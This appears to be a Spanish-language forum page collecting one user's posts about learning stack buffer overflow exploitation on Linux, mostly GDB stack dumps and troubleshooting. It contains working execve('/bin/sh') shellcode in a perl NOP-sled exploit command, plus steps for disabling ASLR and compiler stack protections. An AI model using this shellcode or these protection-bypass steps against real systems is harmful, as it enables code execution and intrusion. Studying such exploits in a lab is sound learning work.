Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - M3st4ng

#21
Hola!!
Los datos que pedía era para ver cómo se estaba sobreescribiendo todos los valores hasta llegar a la dirección de RET en la pila. Lo mejor es poner un breakpoint justo despues de la la función strcpy y ver el estado de la pila, así podremos comprobar qué se ha sobreescrito y con qué valores.
Asi se queda mi pila una vez que se ejecuta strcpy.

0xbffff5d4: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff5e4: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff5f4:    0x90909090 0x90909090 0x90909090 0x90909090
0xbffff604: 0x90909090 0xeb909090 0x76895e1f 0x88c03108
0xbffff614: 0x46890746 0x890bb00c 0x084e8df3 0xcd0c568d
0xbffff624: 0x89db3180 0x80cd40d8 0xffffdce8    0x69622fff
0xbffff634: 0x68732f6e 0xbffff5e6         0xbffff5e6          0xbffff5e6
0xbffff644: 0xbffff5e6           0xbffff5e6 0xbffff5e6        0xbffff5e6
0xbffff654: 0xbffff5e6         0xbffff5e6         0xbffff5e6


En valor que esta en la dirección 0xbffff658 es el RET y contiene una direccion que apunta a los NOPS

Saludos
#22
Hola!!
¿Puedes poner el disass de tu main? Además, para ver como se hace la copia de "buff" a la variable "buffer", pon un breakpoint dentro de la función "vuln" antes y después de la llamada a strcpy haciendo "x/100x $esp".

Saludos
#23
Bugs y Exploits / Re: ¿¿¿ Mensaje GDB ???
7 Enero 2011, 23:47 PM
Hola!

Esto que te está pasando es lo mismito que postee yo hace semanas. Es por algún parámetro que usa gcc como protección. Busca por "google" porque recuerdo haber probado varias cosas, incluso compilé con otras versiones del gcc.

¿Has probado a poner esto?



sysctl -w kernel.randomize_va_space=0
#24
Hola!

A mi me pasó algo parecido. Son temas de protección que el "gcc" implementa para no llevar a cabo el buffer overflow. Mira que tengas todas las protecciones quitadas a la hora de compilar.
Por cierto, el último error que puse era problema de los breakpoint. Cosa rarisima, cuando ejecuto el código con el gdb y breakpoints me tira el error, cuando hago lo mismo sin breakpoint, me ejecuta la shellcode.... Por lo que he leido se trata de un problema con la arquitectura de 64bits que tengo y las librerias de 32bits con los que están compiladas el gcc.

Salu2
#25
Hola!

Intenta compilar el código con estos parámetros:


gcc -g -z execstack -fno-stack-protector -mpreferred-stack-boundary=2 -ggdb ejemplo.c


Yo he tenido muchos problemas por todo el tema de las protecciónes.
#26
Mmmm

Entonces no sé si lo entendido bien o estoy metiendo la pata en algún sitio. La cadena que estoy metiendo en el buffer es así: NOPS + shellcode + dirección de salto a los NOPS
Mira, esta es la pila antes de ejecutar el "strcpy"
0xbffff5a4: 0xbffff664 0x00119b02 0xbffff654 0x080481cc
0xbffff5b4: 0xbffff648 0x0012da74 0x00000000 0x00130b28
0xbffff5c4: 0x00000001 0x00000000 0x00000001 0x0012d918
0xbffff5d4: 0x00000000 0x00010000 0x00296ff4 0x00246e79
0xbffff5e4: 0x0016d785 0xbffff5f8 0x00154ae5 0x00000000
0xbffff5f4:        0x08049ff4 0xbffff608 0x080482c0 0x0011eac0
0xbffff604: 0x08049ff4 0xbffff638 0x08048429 0x00297324
0xbffff614: 0x00296ff4 0x08048410 0xbffff638 0x0016d985
0xbffff624: 0x0011eac0 0x0804841b 0xbffff638 0x080483f7 <-- RET
0xbffff634: 0xbffff831 0xbffff6b8 0x00154ce7 0x00000002


Tengo declarada el variable buffer con 128 bytes y el RET lo sobreescribo con 136. Y así paso los parametros

run $(perl -e 'print "\x90"x51 . "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh" . "\xb4\xf5\xff\xbf"x10')




0xbffff5a4: 0xbffff5ac 0xbffff831 0x90909090 0x90909090
0xbffff5b4: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff5c4: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff5d4: 0x90909090 0x90909090 0xeb909090 0x76895e1f
0xbffff5e4: 0x88c03108 0x46890746 0x890bb00c 0x084e8df3
0xbffff5f4: 0xcd0c568d 0x89db3180 0x80cd40d8 0xffffdce8
0xbffff604: 0x69622fff 0x68732f6e 0xbffff5b4 0xbffff5b4
0xbffff614: 0xbffff5b4 0xbffff5b4 0xbffff5b4 0xbffff5b4
0xbffff624: 0xbffff5b4 0xbffff5b4 0xbffff5b4 0xbffff5b4 <-- RET sobreescrito con dir. de salto a NOPS
0xbffff634: 0xbffff800 0xbffff6b8 0x00154ce7 0x00000002


He puesto que salte a la dir 0xbffff5b4 que es donde hay NOPS y obtengo esto:
rror accessing memory address 0x90909090: Error de entrada/salida.

0xbffff5b4 in ?? ()


Se supone que tendría que ejecutar lo que hubiera en la dir. 0xbffff5b4  no¿??

Salu2
#27
Hola!!!

Retomando el tema, me he vuelto a encontrar un problema más. Y es que al saltar a los NOPs me sale lo siguiente:

Error accessing memory address 0x90909090: Error de entrada/salida.

¿No deberia saltar todos los NOPs hasta llegar a la shellcode?

Gracias
#28
Hola!

Ya he conseguido que se intente ejecutar el RET sobreescrito. Por lo visto gcc activa un flag para desactivar la ejecución en la pila. Este mecanismo se desactiva usando en parámetro "-z execstack" a la hora de compilar.

Salu2!
#29
Hola!

Lo que no acabo de entender es por qué  cuando se escribe la varible "b" de la funcion copiar da este casque, es una valor que está debajo del RET en la pila... ¿puede algo que ver la instrucción "ret" del copiar?
Otra cosa que no acabo de ver es lo del byte-null, si pudiera evitar que se introdujera ese byte null no me llegaria a fallar.... ¿siempre que se introcen carácteres en la pila se pone este valor al final de la cadena?

Gracias!
#30
Hola!!!

En los programas de ordenador, cuando una función o procedimiento llama a otro, es necesario que se guarde en algún lugar todos datos que estaba usando antes de realizar dicha llamada para continuar después la ejecución. Ese lugar donde se guardan dichos datos es la pila.
Para no enrollarme a explicar cosas que ya están documentadas, te voy a remitir a un texto que esta muy muy muy bien.Es para Linux, pero te explica todo el mecanismo de funcionamiento de la pila.

http://bajobongo.net/zerro/piotr/publikacje/hakin9/stackoverflow_es.pdf

Salu2